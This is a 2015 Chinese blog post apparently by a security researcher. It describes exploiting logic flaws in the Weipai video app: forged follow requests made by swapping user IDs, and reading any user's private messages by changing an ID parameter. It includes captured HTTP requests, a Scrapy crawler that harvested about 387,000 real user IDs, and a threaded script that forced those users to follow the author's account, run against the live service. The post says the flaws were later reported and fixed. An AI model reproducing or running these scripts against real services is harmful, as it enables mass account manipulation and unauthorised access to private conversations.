微拍APP漏洞 - 屌丝的从无到有

22 Jan 2015 - evi1m0

微拍,是移动互联网最火爆的手机视频社交APP,有着独特的美白美肤等视频特效,在iPhone和安卓手机的应用商店的社交类和摄影类APP榜单都名列前茅,是北京蝈蝈在线科技有限公司的移动端主打产品。微拍也是微拍摄的简称,是指将中心点,重点,特点,优点等一系列突出或者与众不同的地方加以放大或者延伸,将其以图像的形式记录下来的一种拍摄方式。

微拍中有着大量“白富美”每日发表自拍视频,用户量一度上升到几百万,作为新用户如何才能得到宠幸?

1. 漏洞细节

在手机上安装好APP后马上就能看到各种类型的视频,当然这并不是重点。之后打开手机网络代理,电脑监听APP流量,在尝试了一些常见的漏洞后并没有太大的进展,于是转身跑到逻辑漏洞的身边。

其中关注用户点击后,会POST一个这样的请求:

POST /follow_user HTTP/1.1
Content-Length: 82
Content-Type: application/x-www-form-urlencoded
Host: w1.weipai.cn
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (weipaipro)
Accept-Encoding: gzip
Phone-Type: android_2013022_4.2.1
os: android
Channel: (
App-Name: weipai
Api-Version: 8
Client-Version: 0.99.9.2
Device-Uuid: 9609b1be908****e9beb5442166c7bdfd1ad2e22
Weipai-Token: 54ba****7373c
Weipai-UserId: 54ba1650a5640b57078b****
Phone-Number:
Push-Id: com.weipai.weipaipro
Kernel-Version: 15
Com-Id: weipai

to_user_id=54ba1650a5640b57078b****&from_user_id=53c299e79d67d962598b****&type=add

其中to_user_id为我的帐号user_id,from_user_id为关注用户的user_id,这里将两者进行交换即可完成对方关注指定用户的功能,也就是第一个逻辑漏洞。

除此之外,在这个APP中有着非常核心的功能:搭讪,哦不 是对话功能。APP会每隔几分钟向服务器发送请求来及时更新对话消息:

GET /pm/new?count=20&weipai_userid=54ba1650a5640b57078b**** HTTP/1.1
Host: pm.weipai.cn
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (weipaipro)
Accept-Encoding: gzip
Phone-Type: android_2013022_4.2.1
os: android
Channel: (‚
App-Name: weipai
Api-Version: 8
Client-Version: 0.99.9.2

我们将这个GET请求中的weipai_userid替换为某个用户id,即可查看对方的搭讪记录。哦不!是对话记录。

/images/84E9D643-B676-43E3-8275-C4A5EFB529F0.png

2. 爬虫配合

无论是第一个“刷粉漏洞”还是后面的“任意消息查看漏洞”,都有一个前提,那就是获取目标用户的weipai_userid,不然【刷】和【任意】都是空谈,JUST DO IT :)

我们找到了这个API,他是一个GET请求并提供用户的粉丝列表:

http://w1.weipai.cn/user_fans_list?count=20&relative=after&uid=50f8ff597f3494a70200****

/images/FE24226A-2302-442E-B9A9-F1D690ED5FAB.png

爬虫我们使用Scrapy来编写,将随机一个user_id作为种子源依次往下爬取数据:

#!/usr/bin/env python
# coding=utf-8
# author=f

import scrapy
import json

from weipai.items import WeipaiItem

class weipai_spider(scrapy.Spider):
    allowd_domains = ["http://w1.weipai.cn/"]
    start_urls = ["http://w1.weipai.cn/user_fans_list?count=1000&relative=after&uid=50f8ff597f3494a702000066"]

    uid_list = []
    def parse(self, response):
        item = WeipaiItem()
        all_data = json.loads(response.body)
        for id in all_data['user_list']:
            try:
                if id['user_id'] not in self.uid_list:
                    self.uid_list.append(id['user_id'])
                    item['user_id'] = id['user_id']
                    item['url'] = "http://w1.weipai.cn/user_fans_list?count=1000&relative=after&uid=%s"%id['user_id']
                    yield item
                    yield self.make_requests_from_url(item['url'])
            except Exception,e:
                pass

吃完晚饭回来,已经爬取了400,000个user_id

$ weipai  wc weipai_spider_user_id.json
387451  387451 8186275 weipai_spider_user_id.json

40w的傀儡用户已经够了(白富美与屌丝共存的user_id_list),准备屌丝逆袭。

3. 漏洞利用

拥有漏洞与傀儡以后,我们开始走逆袭的第一步,先将粉丝数量刷到顶峰,这里我们需要一个脚本:

#!/usr/bin/env python
# coding=utf8
# author=evi1m0@2015

import requests
import threadpool as tp

f_user = open('./weipai.txt', 'r')
post_url = 'http://w1.weipai.cn/follow_user'

def start(test):
    flag = 0
    for user in f_user.readlines():
        post_data = {
                     'to_user_id':'54ba1650a5640b57078b****',
                     'from_user_id': user[:-1],
                     'type': 'add',}
        try:
            req = requests.post(post_url, data=post_data, timeout=5)
            flag += 1
            print '[+] %d : %s' % (flag, req.text)
        except:
            continue

args = [
    ['http://xxx.com', 'test'],
]
pool = tp.ThreadPool(200)
reqs = tp.makeRequests(start, args)
[pool.putRequest(req) for req in reqs]
pool.wait()

/images/EA36C974-EA66-4D10-98A6-27CA8DF6FA03.png

非常轻松的,这个刷粉脚本就完成并RUN了起来,但经过观察后发现速度并不理想,于是我把这个脚本放置到了香港及国外的几台服务器上,然后将user_id列表进行几份切割,便睡了过去。

很快的一觉醒来,梦里并没有美女野兽,登录服务器把脚本纷纷停止,把在一旁不停震动的安卓手机拿起,这时才发现已经收到上百条搭讪,当然粉丝数量也已经到了155,835。

/images/B2155F4E-EF48-4280-AB14-D315142294D9.png

4. 逆袭

/images/4201BA71-1953-46FC-93B0-2503711BA3D2.png

在顶着“大V”的压力下,我打开搭讪框。哦不!是对话窗口。这时你就会发现,无论是女神屌丝亦或是锥子脸饼子脸,他/她们都在寻找你,小到卖鞋,大到yue否。

既然初衷仅仅是为了JUST DO IT,马上我们将漏洞细节发给了微拍公司,并得到了第一时间修复。

管他女神锥子脸,卖鞋还卖包。伪黑客按下回车合上电脑,删除了这个帐号的一切数据,一切都没发生过。

评论插件使用 Disqus ,需翻墙才能查看及留言。